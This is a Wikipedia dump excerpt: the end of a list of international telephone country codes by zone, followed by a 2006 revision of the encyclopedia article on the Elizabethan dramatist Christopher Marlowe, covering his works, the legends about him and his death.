*299 &amp;ndash; [[Greenland]]

=== Zone 3 &amp;ndash; [[Europe]] ===
*3  &amp;ndash; (proposed in [[1996]] as the [[European Union]] country code [http://europa.eu.int/en/record/green/gp9611/])

*30 &amp;ndash; [[Greece]]
*31 &amp;ndash; [[The Netherlands]]
*32 &amp;ndash; [[Belgium]]
*33 &amp;ndash; [[France]]
*34 &amp;ndash; [[Spain]]
*350 &amp;ndash; [[Gibraltar]]
*351 &amp;ndash; [[Portugal]]
*352 &amp;ndash; [[Luxembourg]]
*353 &amp;ndash; [[Republic of Ireland]] 
*354 &amp;ndash; [[Iceland]]
*355 &amp;ndash; [[Albania]] 
*356 &amp;ndash; [[Malta]]
*357 &amp;ndash; [[Cyprus]]; ''for the [[TRNC]] (Northern Cyprus), the country code is 90 392''
*358 &amp;ndash; [[Finland]]
*359 &amp;ndash; [[Bulgaria]]
*36 &amp;ndash; [[Hungary]] 
*37 &amp;ndash; discontinued (was assigned to the [[East Germany|GDR]], area now covered by [[Germany]]'s country code 49) 
*370 &amp;ndash; [[Lithuania]] 
*371 &amp;ndash; [[Latvia]] 
*372 &amp;ndash; [[Estonia]]
*373 &amp;ndash; [[Republic of Moldova|Moldova]]
** 373 533 &amp;ndash; [[Transnistria]]
*374 &amp;ndash; [[Armenia]]
*375 &amp;ndash; [[Belarus]] 
*376 &amp;ndash; [[Andorra]]
*377 &amp;ndash; [[Monaco]]
*378 &amp;ndash; [[San Marino]]
*379 &amp;ndash; [[Vatican City]]
*38 &amp;ndash; discontinued (was assigned to [[Yugoslavia]] before break-up)
*380 &amp;ndash; [[Ukraine]] 
*381 &amp;ndash; [[Serbia and Montenegro]]
*382 &amp;ndash; unassigned 
*383 &amp;ndash; unassigned 
*384 &amp;ndash; unassigned 
*385 &amp;ndash; [[Croatia]]
*386 &amp;ndash; [[Slovenia]]
*387 &amp;ndash; [[Bosnia and Herzegovina]] 
*388 &amp;ndash; shared code for groups of nations
**388 3 &amp;ndash; [[European Telephony Numbering Space]] - Europe-wide services
*389 &amp;ndash; [[Republic of Macedonia]]
*39 &amp;ndash; [[Italy]]

=== Zone 4 &amp;ndash; [[Europe]] ===
*40 &amp;ndash; [[Romania]]
*41 &amp;ndash; [[Switzerland]]
*42 &amp;ndash; previously [[Czechoslovakia]]
*420 &amp;ndash; [[Czech Republic]]
*421 &amp;ndash; [[Slovakia]]
*422 &amp;ndash; unassigned
*423 &amp;ndash; [[Liechtenstein]]
*424 &amp;ndash; unassigned
*425 &amp;ndash; unassigned
*426 &amp;ndash; unassigned
*427 &amp;ndash; unassigned
*428 &amp;ndash; unassigned
*429 &amp;ndash; unassigned
*43 &amp;ndash; [[Austria]]
*44 &amp;ndash; [[United Kingdom]]
*45 &amp;ndash; [[Denmark]]
*46 &amp;ndash; [[Sweden]]
*47 &amp;ndash; [[Norway]]
*48 &amp;ndash; [[Poland]]
*49 &amp;ndash; [[Germany]]

=== Zone 5 &amp;ndash; [[Mexico]], [[Central America|Central]] and [[South America]], [[West Indies]] ===
*500 &amp;ndash; [[Falkland Islands]]
*501 &amp;ndash; [[Belize]]
*502 &amp;ndash; [[Guatemala]]
*503 &amp;ndash; [[El Salvador]]
*504 &amp;ndash; [[Honduras]]
*505 &amp;ndash; [[Nicaragua]]
*506 &amp;ndash; [[Costa Rica]]
*507 &amp;ndash; [[Panama]]
*508 &amp;ndash; [[Saint-Pierre and Miquelon]]
*509 &amp;ndash; [[Haiti]] 
*51 &amp;ndash; [[Peru]]
*52 &amp;ndash; [[Mexico]]
*53 &amp;ndash; [[Cuba]]
*54 &amp;ndash; [[Argentina]]
*55 &amp;ndash; [[Brazil]]
*56 &amp;ndash; [[Chile]]
*57 &amp;ndash; [[Colombia]]
*58 &amp;ndash; [[Venezuela]]
*590 &amp;ndash; [[Guadeloupe]]
*591 &amp;ndash; [[Bolivia]]
*592 &amp;ndash; [[Guyana]]
*593 &amp;ndash; [[Ecuador]]
*594 &amp;ndash; [[French Guiana]]
*595 &amp;ndash; [[Paraguay]]
*596 &amp;ndash; [[Martinique]]
*597 &amp;ndash; [[Suriname]]
*598 &amp;ndash; [[Uruguay]] 
*599 &amp;ndash; [[Netherlands Antilles]]

=== Zone 6 &amp;ndash; South Pacific and [[Oceania]] ===
*60 &amp;ndash; [[Malaysia]] 
*61 &amp;ndash; [[Australia]] including external territories of [[Christmas Island]] and [[Cocos Islands]]
*62 &amp;ndash; [[Indonesia]]
*63 &amp;ndash; [[Philippines]]
*64 &amp;ndash; [[New Zealand]]
*65 &amp;ndash; [[Singapore]]
*66 &amp;ndash; [[Thailand]]
*670 &amp;ndash; [[East Timor]] - used to be Northern Mariana Islands which is now included in [[NANPA]] as code +1-670 (See Zone 1, above)
*671 &amp;ndash; used to be [[Guam]] - Now included in [[NANPA]] as code +1-671 (See Zone 1, above)
*672 &amp;ndash; Australian external territories other than Christmas, Cocos Islands, such as [[Australian Antarctic Territory]], [[Norfolk Island]] 
*673 &amp;ndash; [[Brunei|Brunei Darussalam]]
*674 &amp;ndash; [[Nauru]]
*675 &amp;ndash; [[Papua New Guinea]]
*676 &amp;ndash; [[Tonga]]
*677 &amp;ndash; [[Solomon Islands]]
*678 &amp;ndash; [[Vanuatu]]
*679 &amp;ndash; [[Fiji]]
*680 &amp;ndash; [[Palau]]
*681 &amp;ndash; [[Wallis and Futuna]]
*682 &amp;ndash; [[Cook Islands]]
*683 &amp;ndash; [[Niue|Niue Island]]
*684 &amp;ndash; used to be [[American Samoa]] - Now included in [[NANPA]] as code +1-684 (See Zone 1, above)
*685 &amp;ndash; [[Samoa]]
*686 &amp;ndash; [[Kiribati]], [[Gilbert Islands]] 
*687 &amp;ndash; [[New Caledonia]]
*688 &amp;ndash; [[Tuvalu]], [[Ellice Islands]]
*689 &amp;ndash; [[French Polynesia]] 
*690 &amp;ndash; [[Tokelau]]
*691 &amp;ndash; [[Federated States of Micronesia]]
*692 &amp;ndash; [[Marshall Islands]]
*693 &amp;ndash; unassigned 
*694 &amp;ndash; unassigned 
*695 &amp;ndash; unassigned 
*696 &amp;ndash; unassigned 
*697 &amp;ndash; unassigned 
*698 &amp;ndash; unassigned 
*699 &amp;ndash; unassigned

=== Zone 7 &amp;ndash; Russia and its vicinity (former [[Soviet Union]]) ===
*7 &amp;ndash; [[Russia]], [[Kazakhstan]].

=== Zone 8 &amp;ndash; [[East Asia]] and Special Services ===
*800 &amp;ndash; International Freephone ([[UIFN]])
*801 &amp;ndash; unassigned 
*802 &amp;ndash; unassigned 
*803 &amp;ndash; unassigned 
*804 &amp;ndash; unassigned 
*805 &amp;ndash; unassigned 
*806 &amp;ndash; unassigned 
*807 &amp;ndash; unassigned 
*808 &amp;ndash; reserved for [[Shared Cost Service|Shared Cost Services]]
*809 &amp;ndash; unassigned 
*81 &amp;ndash; [[Japan]]
*82 &amp;ndash; [[South Korea]] 
*83x &amp;ndash; unassigned 
*84 &amp;ndash; [[Vietnam]]
*850 &amp;ndash; [[North Korea]]
*851 &amp;ndash; unassigned 
*852 &amp;ndash; [[Hong Kong|Hong Kong S.A.R.]] of the [[People's Republic of China]] 
*853 &amp;ndash; [[Macau|Macau S.A.R.]] of the [[People's Republic of China]] 
*854 &amp;ndash; unassigned 
*855 &amp;ndash; [[Cambodia]]
*856 &amp;ndash; [[Laos]] 
*857 &amp;ndash; unassigned 
*858 &amp;ndash; unassigned 
*859 &amp;ndash; unassigned 
*86 &amp;ndash; [[People's Republic of China]] ([[mainland China|mainland]] only)
*870 &amp;ndash; [[Inmarsat]] &quot;SNAC&quot; service 
*871 &amp;ndash; [[Inmarsat]] (Atlantic East) 
*872 &amp;ndash; [[Inmarsat]] (Pacific) 
*873 &amp;ndash; [[Inmarsat]] (Indian) 
*874 &amp;ndash; [[Inmarsat]] (Atlantic West) 
*875 &amp;ndash; reserved for Maritime Mobile service
*876 &amp;ndash; reserved for Maritime Mobile service
*877 &amp;ndash; reserved for Maritime Mobile service
*878 &amp;ndash; [[Universal Personal Telecommunications]] services 
*879 &amp;ndash; reserved for national &lt;nowiki&gt;mobile/maritime&lt;/nowiki&gt; uses 
*880 &amp;ndash; [[Bangladesh]] - [[Bangladesh Calling SubCodes|SubCodes]]
*881 &amp;ndash; Mobile Satellite System 
*882 &amp;ndash; International Networks 
*883 &amp;ndash; unassigned 
*884 &amp;ndash; unassigned 
*885 &amp;ndash; unassigned 
*886 &amp;ndash; [[Republic of China]] ([[Free Area of the Republic of China|Taiwan area]] only) - ''This code is not officially assigned, listed by ITU as 'reserved'.'' &lt;!--is this code used in practice?--&gt;
*887 &amp;ndash; unassigned 
*888 &amp;ndash; reserved for future, unknown type of global service
*889 &amp;ndash; unassigned 
*89x &amp;ndash; unassigned

=== Zone 9 &amp;ndash; [[Southwest Asia|West]], [[South Asia|South]] and [[Central Asia]], [[Middle East]] ===
*90 &amp;ndash; [[Turkey]] 
**90 392 &amp;ndash; [[Turkish Republic of Northern Cyprus]]
*91 &amp;ndash; [[India]] 
*92 &amp;ndash; [[Pakistan]]
*93 &amp;ndash; [[Afghanistan]]
*94 &amp;ndash; [[Sri Lanka]] 
*95 &amp;ndash; [[Myanmar|Burma (Myanmar)]]
*960 &amp;ndash; [[Maldives]]
*961 &amp;ndash; [[Lebanon]]
*962 &amp;ndash; [[Jordan]]
*963 &amp;ndash; [[Syria]]
*964 &amp;ndash; [[Iraq]]
*965 &amp;ndash; [[Kuwait]]
*966 &amp;ndash; [[Saudi Arabia]]
*967 &amp;ndash; [[Yemen]]
*968 &amp;ndash; [[Oman]]
*969 &amp;ndash; used to be People's Democratic Republic of Yemen - now unified under 967 [[Yemen]] (formerly the Yemen Arab Republic)
*970 &amp;ndash; reserved for the [[Palestinian Authority]]
*971 &amp;ndash; [[United Arab Emirates]]
*972 &amp;ndash; [[Israel]]
*973 &amp;ndash; [[Bahrain]]
*974 &amp;ndash; [[Qatar]]
*975 &amp;ndash; [[Bhutan]]
*976 &amp;ndash; [[Mongolia]]
*977 &amp;ndash; [[Nepal]]
*978 &amp;ndash; unassigned - originally assigned to Dubai, now covered under 971
*979 &amp;ndash; International Premium Rate Service - originally assigned to Abu Dhabi, now covered under 971
*98 &amp;ndash; [[Iran]] 
*990 &amp;ndash; unassigned 
*991 &amp;ndash; International Telecommunications Public Correspondence Service trial (ITPCS) 
*992 &amp;ndash; [[Tajikistan]]
*993 &amp;ndash; [[Turkmenistan]] 
*994 &amp;ndash; [[Azerbaijan]]
*995 &amp;ndash; [[Georgia (country)|Georgia]] 
*996 &amp;ndash; [[Kyrgyzstan]]
*997 &amp;ndash; unassigned
*998 &amp;ndash; [[Uzbekistan]]
*999 &amp;ndash; reserved for potential disaster relief service 

=== Zone 0 &amp;ndash; unassigned ===


==History==

CCITT, the predecessor of the [[ITU Telecommunication Standardization Sector]] (ITU-T), developed the first formal list of telephone country codes. This list was included in the ''[[1964]] CCITT Blue Book'', among other international telecommunication recommendations, which would eventually become [[ITU Telecommunication Standardization Sector|ITU-T]] recommendation [[E.164]].

An earlier system of country codes for European use was mentioned in the ''[[1960]] CCITT Red Book''. Some of these country codes were retained in the CCITT country code assignments and remain in effect (e.g. France +33, United Kingdom +44).

For further details on country code history and development, see [http://www.wtng.info/wtng-hst.html ''History of Country Codes''] ([http://www.wtng.info WTNG]).

==See also==
*[[E.164]]
*[[International Telecommunication Union]]
*[[List of international call prefixes]]

==External Links==
* [http://www.itu.int/pub/T-SP-E.164A-2006/en List of ITU-T Recommendation E.164 assigned country codes]
* [http://www.wtng.info World Telephone Numbering Guide]
* [http://www.howtocall.info Guide to international calling from the U.S., with city codes]

[[Category:Country codes|ITU list]]
[[Category:Telephone numbering plans]]

[[ar:رمز هاتف دولي]]
[[cs:Seznam mezinárodních směrových čísel]]
[[cy:Rhestr côdau galw gwledydd]]
[[da:International telefonkode]]
[[de:Ländervorwahlliste sortiert nach Nummern]]
[[el:Κατάλογος κωδικών κλήσεων χωρών]]
[[es:Lista de códigos telefónicos]]
[[fo:Telefon landakotur]]
[[fr:Liste des indicatifs téléphoniques internationaux par indicatif]]
[[ga:Liosta glaochód idirnáisiúnta]]
[[gl:Lista de códigos telefónicos internacionais]]
[[ko:국제전화 나라번호]]
[[is:Listi yfir landsnúmer]]
[[it:Prefissi telefonici internazionali]]
[[he:רשימת קידומות טלפון בחיוג בינלאומי]]
[[lt:Šalių telefonų kodai]]
[[lv:Starptautisko tālsarunu kodu saraksts]]
[[mt:Lista ta' kodiċi telefoniċi]]
[[nl:Landnummer]]
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  <page>
    <title>Christopher Marlowe</title>
    <id>5771</id>
    <revision>
      <id>42056400</id>
      <timestamp>2006-03-03T14:28:59Z</timestamp>
      <contributor>
        <username>Wayward</username>
        <id>184087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/168.216.201.225|168.216.201.225]] ([[User talk:168.216.201.225|talk]]) to last version by Vary</comment>
      <text xml:space="preserve">&lt;!-- A NOTE TO EDITORS OF THIS PAGE: A lot of rubbish is written about Marlowe; before adding anything to this page, please check the evidence first and avoid presenting opinion as fact (e.g. if you want to make any point about his writings, quote relevant passages in support). Bear in mind that an encyclopedia is not the place for speculation or innuendo, and always strive for neutral point of view.  --&gt;
[[Image:Christopher_Marlowe.jpg|thumb|right|An anonymous portrait, often believed to show Christopher Marlowe]]
'''Christopher (&quot;Kit&quot;) Marlowe''' (baptised [[26 February]], [[1564]] &amp;ndash; [[30 May]], [[1593]]) was an [[England|English]] [[dramatist]], [[poet]], and [[translator]] of the [[Elizabethan era]]. Perhaps the foremost Elizabethan tragedian before [[Shakespeare]], he is known for his magnificent [[blank verse]], his overreaching protagonists, and his own untimely death.

==Background==

Born in [[Canterbury, Kent|Canterbury]] the son of a shoemaker, he attended [[The King's School, Canterbury]] and [[Corpus Christi College, Cambridge]] on a scholarship and received his bachelor of arts degree in [[1584]]. In [[1587]] the university hesitated to award him his master's degree because of a rumour that he had converted to [[Catholic]]ism and gone to the English college at Rheims to prepare for the priesthood. However, his degree was awarded on schedule when the [[Privy Council of the United Kingdom|Privy Council]] intervened on his behalf, commending him for his &quot;faithful dealing&quot; and &quot;good service&quot; to the queen[http://www2.prestel.co.uk/rey/pc_cert.htm]. The nature of Marlowe's service was not specified by the Council, but their letter to the Cambridge authorities has provoked much sensational speculation, notably the theory that Marlowe was operating as a secret agent working for Sir [[Francis Walsingham]]'s intelligence service. No direct evidence supports this theory, although Marlowe obviously did serve the queen in some capacity.

==Literary career==
The brief ''[[Dido, Queen of Carthage]]'' seems to be Marlowe's first extant dramatic work, possibly written at Cambridge with [[Thomas Nashe]].

Marlowe's first known play to be performed on the [[London]] stage was 1587's ''[[Tamburlaine (play)|Tamburlaine]]'', a story of the conqueror [[Timur]]. The first English play to make effective dramatic use of [[blank verse]], it marks the beginning of the mature phase of Elizabethan Theatre.  It was a smash success, and ''Tamburlaine Part II'' soon followed. The sequence of his remaining plays is unknown.  All were written on controversial themes.  ''[[Doctor Faustus]]'', based on the recently published German [[Faustbuch]], was the first dramatic version of the [[Faust]] legend of a scholar's dealing with the devil. ''[[The Jew of Malta]]'', depicting a Maltese Jew's barbarous revenge against the city authorities, featured a prologue delivered by [[Niccolò Machiavelli|Machiavelli]] himself. ''[[Edward the Second]]'' was an English history play about the dethronement of [[Edward II of England|Edward II]] by his dissatisfied barons and his French queen (the possibility that [[Elizabeth I of England|Elizabeth I]] might be dethroned by pro-Catholic forces was very real at the time).  ''[[The Massacre at Paris]]'' was a short, sketchy play portraying the events surrounding the [[Saint Bartholomews Day Massacre]] in [[1572]], an event that English Protestants frequently invoked as the blackest example of Catholic treachery. 

His other works include the first book of the minor epic ''[[Hero and Leander (Marlowe's poem) | Hero and Leander]]'' (published with a continuation by [[George Chapman]] in [[1598]]), the popular lyric ''[[The Passionate Shepherd to His Love]]'', and translations of [[Ovid]]'s ''[[Amores]]'' and the first book of [[Lucan (poet)|Lucan]]'s ''[[Pharsalia]]''.

The two parts of ''[[Tamburlaine]]'' were published in 1590; all his other works were published posthumously. In [[1599]] his translation of [[Ovid]] was banned and copies publicly burned as part of [[John Whitgift|Archbishop Whitgift's]] crackdown on offensive material.

Marlowe's plays were enormously successful, thanks in part, no doubt, to the imposing stage presence of [[Edward Alleyn]]. He was unusually tall for the time, and the haughty roles of Tamburlaine, Faustus, and Barabas were probably written especially for him. Marlowe's plays were the foundation of the repertoire of Alleyn's company, the [[Admiral's Men]], throughout the 1590s.

==The Marlowe legend==

As with other writers of the period, such as Shakespeare, little is known about Marlowe. Most of the evidence is legal records and other official documents that tell us little about him. This hasn't stopped writers of both fiction and non-fiction speculating about his activities and character. Marlowe has often been regarded as a spy, a brawler, a heretic, and a homosexual. The evidence for some of these claims is slight. The bare facts of Marlowe's life have been embellished by many writers into colourful, and often fanciful, narratives of the Elizabethan underworld.

===Marlowe the spy===

The only evidence that Marlowe worked for the government is the letter of the Privy Council mentioned above. The nature of this work is unknown. In an obscure incident in the [[Netherlands]] in 1592, Marlowe was apprehended at [[Flushing, Netherlands|Flushing]], then an English possession, after being accused of involvement in counterfeiting money[http://www2.prestel.co.uk/rey/flushing.htm]. Marlowe confessed, but was not punished on his return to England. This has suggested to some that he was working for the secret service again, but it could be that the authorities accepted the story he told the governor of Flushing, that he had only wanted &quot;to see the goldsmith's cunning&quot;.

===Marlowe the brawler===

Although the fight that resulted in his death in 1593 is the only occasion where there is evidence of Marlowe assaulting a person, he had a history of trouble with the law. 

Marlowe was arrested in Norton Folgate near Shoreditch in September 1589 following a brawl in which Thomas Watson killed one William Bradley. A jury found that Marlowe had no involvement in Bradley's death and Watson was found to have acted in self-defence. In Shoreditch in May 1592, he was required to provide a guarantee that he keep the peace, the reason is unknown. In September 1592 in Canterbury he was charged with damaging property. He subsequently counter-sued the plaintiff, alleging assault. Both cases appear to have been dropped.

===Marlowe the atheist===
Marlowe had a reputation for atheism. The only contemporary evidence for this is from Marlowe's accuser in Flushing, an informer called Richard Baines. The governor of Flushing had reported that both men had accused one another of instigating the counterfeiting and of intention to go over to the Catholic side, &quot;both as they say of malice one to another&quot;. Following Marlowe's arrest on a charge of atheism in 1593, Baines submitted to the authorities a &quot;note containing the opinion of one Christopher Marly concerning his damnable judgment of religion, and scorn of God's word&quot;[http://www2.prestel.co.uk/rey/baines1.htm]. Baines attributes to Marlowe outrageously blasphemous ideas such as, &quot;[[Christ]] was a bastard and his mother dishonest [unchaste]&quot;, &quot;the woman of Samaria and her sister were whores and that Christ knew them dishonestly&quot; and, &quot;St [[John the Evangelist]] was bedfellow to Christ and leaned always in his bosom&quot; (cf. [http://www.biblegateway.com/cgi-bin/bible?passage=JOHN%2B13%3A23-25&amp;showfn=on&amp;showxref=on&amp;language=english&amp;version=KJV&amp;x=12&amp;y=12 John 13:23-25]) and &quot;that he used him as the sinners of [[Sodom]]&quot;. He also claims that Marlowe had Catholic sympathies. Other passages are merely skeptical in tone: &quot;he persuades men to atheism, willing them not to be afraid of bugbears and hobgoblins&quot;. Similar statements were made by Thomas Kyd after his imprisonment and possible torture[http://www2.prestel.co.uk/rey/kyd1.htm][http://www2.prestel.co.uk/rey/kyd2.htm](see below); both Kyd and Baines connect Marlowe with the mathematician [[Thomas Harriot]] and [[Walter Raleigh]]'s circle. Another document claims that Marlowe had read an &quot;atheist lecture&quot; before Raleigh. Baines ends his &quot;note&quot; with the ominous statement: &quot;I think all men in Christianity ought to endeavour that the mouth of so dangerous a member may be stopped&quot;.

Some critics believe that Marlowe sought to disseminate these views in his work and that he identified with his rebellious and iconoclastic protagonists. However, plays had to be approved by the [[Master of the Revels]] before they could be performed, and the [[censorship]] of publications was under the control of the [[Archbishop of Canterbury]]. Presumably these authorities did not consider any of Marlowe's works to be unacceptable (apart from the ''Amores'').

===Marlowe's sexuality===
Marlowe is often described today as [[homosexuality|homosexual]], although the evidence for this is inconclusive. The question of whether an Elizabethan was 'gay' in a modern sense is anachronistic; while [[sodomy]] was a crime in the period there was no word for an exclusively homosexual identity (see [[Homosexuality#History|History of homosexuality]]), a concept that did not emerge until the [[nineteenth century]].

====Evidence====
Several pieces of evidence suggest that Marlowe may have been homosexual, though all are clearly circumstantial, or reported by people of questionable motives.
*The most graphic is the testimony of [[Richard Baines]], an informer who made a long list of allegations against Marlowe after his arrest (see below). Most of these allegations concern Marlowe's [[atheism]], but Baines also claimed that Marlowe said &quot;all they that love not tobacco and boys were fools&quot; and that &quot;St John the Evangelist was bedfellow to Christ and leaned always in his bosom, that he used him as the sinners of Sodom&quot;.
*In [[1595]], after Marlowe's death, his one-time roommate and fellow dramatist, [[Thomas Kyd]] was tortured and imprisoned when atheistical papers were found in his room. After claiming Marlowe's responsibility, Kyd produced on request a shorter list of allegations, which include the claim that Marlowe &quot;would report St. John to be our saviour Christ's Alexis ... that is, that Christ did love him with an extraordinary love.&quot;
*In [[1598]] the writer [[Francis Meres]] reported that Marlowe was &quot;stabbed to death by a bawdy serving man, a rival of his in his lewd love&quot; (a claim that contradicts the coroner's report).

Marlowe's writing is also notable for its homosexual themes.
*''[[Edward II (play)|Edward II]]'' (c.[[1592]]) is one of the very few [[Elizabethan theatre|English Renaissance plays]] to be concerned with homosexuality, since Edward II had that reputation. The portrayal of [[Edward II of England|Edward]] and his love, [[Piers Gaveston]], is unflattering, but so too is the portrayal of the barons who usurp him, and the play's numerous modern revivals have demonstrated that Edward's tragic decline and death can elicit sympathetic responses; it is thus conceivable that some contemporary audience members might have responded similarly.
* In ''[[Dido, Queen of Carthage]]'', he opens with a scene of Jupiter &quot;dandling [[Ganymede]] upon his knee&quot; and says &quot;what is't, sweet wag, I should deny thy youth?, whose face reflects such pleasure to mine eyes.&quot; Venus complains during the play that Jupiter is playing &quot;with that female wanton boy.&quot;
*His most famous poem, ''[[Hero and Leander]]'', also contains homosexual themes. Marlowe writes of the male youth character, Leander, that &quot;in his looks were all that men desire&quot; and that when the youth swims to visit Hero as Sestos, the sea god Neptune becomes sexually excited. He says that Neptune, &quot;imagining that Ganymede, displeas'd... the lusty god embrac'd him, call'd him love... and steal a kiss... upon his breast, his thighs, and every limb&quot;, while the boy naive and unaware of Greek love practices (the mindset of the audience) said that, &quot;You are deceiv'd, I am no woman, I... Thereat smil'd Neptune.&quot; 

The mere inclusion of same-sex love themes, often in very tender terms, in Marlowe's works is seen by some as a significant, and as an act of artistic courage.

In addition, it has been pointed out that no accounts of marriage or female companionship have been forthcoming whereas the only historical evidence for Marlowe's sexuality indicates that he was homosexual.

However, the only other known &quot;evidence&quot; supporting Marlowe's homosexuality aside from Kyd's &quot;testimony&quot;, and in fact quite probably the reason why the rumours persist to this day, is found in accounts of sermons by an influential, puritanical clergyman who used Marlowe as an example of a sinner who got his just deserts.

====Criticism of this evidence====
Some scholars argue that the evidence is not conclusive and that the reports of Marlowe's homosexuality may simply be exaggerated rumours produced after his death. [[David Bevington]] and [[Eric Rasmussen]] describe Baines's evidence as &quot;unreliable testimony&quot; and make the comment: &quot;These and other testimonials need to be discounted for their exaggeration and for their having been produced under legal circumstances we would regard as a witch-hunt&quot; (''Doctor Faustus and Other Plays'', pp. viii - ix). It has also been noted that Kyd's evidence was given after torture, and thus may have little connection to reality.

On Marlowe's writing, it has been noted that the argument from his plays and poems depends on a [[circular argument]]: that only someone who was homosexual would have written them. Much of Marlowe's work is also concerned with heterosexuality; however, it is frequently presented highly negatively, such as when [[Hero]] commits suicide after consummating her relationship with [[Leander]] (which is a significant departure from the plot of the [[Hero and Leander|original myth]]), or when [[Aeneas]] must escape the clutches of [[Dido]] in order to fulfil his destiny. In Marlowe's work, heterosexuality is most frequently presented as a restriction of freedom, lacking the elevated nature of same-sex attraction.  However, this could also be interpreted as a contrast between love and friendship; love presents difficulties not inherent in a non-erotic relationship.

For debates of a somewhat similar nature, compare [[Sexuality of William Shakespeare]].

===Marlowe's death===
In early May [[1593]] several bills were posted about London threatening Protestant refugees from [[France]] and the [[Netherlands]] who had settled in the city. One of these, the &quot;Dutch church libel&quot;[http://www2.prestel.co.uk/rey/libell.htm], written in [[blank verse]], contained allusions to several of Marlowe's plays and was signed &quot;[[Tamburlaine]].&quot; On [[11 May]] the [[Privy Council of the United Kingdom|Privy Council]] ordered the arrest of those responsible for the libels. The next day, Marlowe's colleague [[Thomas Kyd]] was arrested. Kyd's lodgings were searched and a fragment of a [[heretical]] tract was found. Kyd asserted, possibly under [[torture]], that it had belonged to Marlowe. Two years earlier they had both been working for an [[aristocratic]] patron, probably [[Ferdinando Stanley, 5th Earl of Derby|Ferdinando Stanley]], Lord Strange, and Kyd assumed that at this time, when they were sharing a workroom, the document had found its way among his papers. Marlowe's arrest was ordered on [[18 May]]. Marlowe was not in London, but was staying with Thomas Walsingham, the cousin of the late Sir [[Francis Walsingham]]. However, he duly appeared before the Privy Council on [[20 May]] and was instructed to &quot;give his daily attendance on their Lordships, until he shall be licensed to the contrary.&quot; On [[30 May]], Marlowe was murdered.

Various versions of what happened were current at the time. [[Francis Meres]] says Marlowe was &quot;stabbed to death by a bawdy serving-man, a rival of his in his lewd love&quot; as punishment for his &quot;epicurism and atheism&quot;. In [[1917]], in the ''[[Dictionary of National Biography]]'', Sir [[Sidney Lee]] wrote that Marlowe was killed in a drunken fight, and this is still often stated as fact today. 

The facts only came to light in [[1925]] when the scholar [[Leslie Hotson]] discovered the [[coroner]]'s report on Marlowe's death in the [[Public Record Office]] [http://www2.prestel.co.uk/rey/inquis~2.htm]. Marlowe had spent all day in a house (not a tavern) in [[Deptford, London|Deptford]], owned by the widow Eleanor Bull, along with three men, Ingram Frizer, Nicholas Skeres and Robert Poley. All three had been employed by the Walsinghams. Skeres and Poley had helped snare the conspirators in the [[Babington plot]]. Frizer was a servant of Thomas Walsingham. Witnesses testified that Frizer and Marlowe had earlier argued over the bill, exchanging &quot;divers malicious words.&quot; Later, while Frizer was sitting at a table between the other two and Marlowe was lying behind him on a couch, Marlowe snatched Frizer's dagger and began attacking him. In the ensuing struggle, according to the coroner's report, Marlowe was accidentally stabbed above the right eye, killing him instantly. The coroner concluded that Frizer acted in self-defense, and he was promptly pardoned. Marlowe was buried in an unmarked grave in the churchyard of St Nicholas, Deptford, on [[1 June]], 1593.

Marlowe's death is considered by some to be suspicious for the following reasons:

# The three men who were in the room with him when he died all had links to the intelligence service as well as to the [[London]] underworld. Frizer and Skeres also had a long record as loan sharks and con-men, as shown by court records. 
# Their story that they were on a day's pleasure outing to [[Deptford]] is implausible. In fact, they spent the whole day closeted together, deep in discussion. Also, [[Robert Poley]] was carrying confidential despatches to the Queen, who was at Greenwich nearby, but instead of delivering them, he spent the day with Marlowe and the other two.
# It seems too much of a coincidence that Marlowe's death occurred only a few days after his arrest for heresy.
# The unusual way in which his arrest for heresy was handled by the Privy Council. He was released in spite of ''[[prima facie]]'' evidence, and even though the charges implicitly connected [[Sir Walter Raleigh]] and the Earl of [[Northumberland]] with the heresy. This strongly suggests that the Privy Council considered the heresy charge to be a set-up, and/or that it was connected with a power struggle within the Privy Council itself.
# Marlowe's own record of involvement with the intelligence service, as shown by the Privy Council minutes of 1587; by a subsequent strange incident in which he was arrested in [[Holland]] for counterfeiting money and appeared before the Privy Council, but was never charged; and by the fact that his patron was [[Thomas Walsingham]], Sir Francis' nephew, who was actively involved in intelligence work.

For these reasons and others, it seems likely that there was more to Marlowe's death than emerged at the inquest. However, on the basis of our current knowledge, it is not possible to draw any firm conclusions about what happened or why. There are many different theories, of varying degrees of probability, but no solid evidence.

Since we have only written documents on which to base our conclusions, and since it is probable that the most crucial information about Marlowe's death was never committed to writing at all, we are unlikely ever to know for certain the full circumstances of Marlowe's death.

===Marlowe's reputation among contemporary writers===
Whatever the particular focus of modern critics, biographers and novelists, for his contemporaries in the literary world, Marlowe was above all an admired and influential artist. Within weeks of his death, [[George Peele]] referred to him as &quot;Marley, the Muses' darling&quot;; [[Michael Drayton]] noted that he &quot;Had in him those brave translunary things/That the first poets had&quot;, and [[Ben Jonson]] wrote of &quot;Marlowe's mighty line&quot;. [[Thomas Nashe]] wrote warmly of his friend, &quot;poor deceased Kit Marlowe&quot;. So too did the publisher Edward Blount, in the dedication of ''Hero and Leander'' to Sir Thomas Walsingham.

The only contemporary dramatist to say anything negative about Marlowe was the anonymous author of the Cambridge University play ''[[The Return From Parnassus]]'' ([[1598]]) who wrote, &quot;Pity it is that wit so ill should dwell, Wit lent from heaven, but vices sent from hell.&quot;

The most famous tribute to Marlowe was paid by Shakespeare in his only reference to a contemporary writer, in ''[[As You Like It]]'', where he quotes a line from ''Hero and Leander'':

:Dead Shepherd, now I find thy saw of might,
:&quot;Who ever loved that loved not at first sight?&quot;

===Recent Marlowe controversies===

In November 2005, a production of ''Tamburlaine'' at the [[Barbican Arts Centre]] in [[London]] was accused of defering to [[Islam|Muslim]] sensibilities by amending a section of the play in which the title character burns the [[Qu'ran]] and excoriates the prophet [[Muhammad]]; the sequence was changed so that Tamburlaine instead defiles books representing all religious texts. The director (in the view of many, mendaciously) denied censoring the play, stating that the change was a &quot;purely artistic&quot; decision &quot;to focus the play away from anti-Turkish pantomime to an existential epic&quot;. This however shifts a considerable degree of focus from a number of anti-theist (and specifically anti-Muslim) points within the play and changes, significantly, the tone and tenor of the work. [http://www.timesonline.co.uk/article/0,,2-1887902,00.html] [http://www.guardian.co.uk/arts/comment/story/0,16472,1650659,00.html]

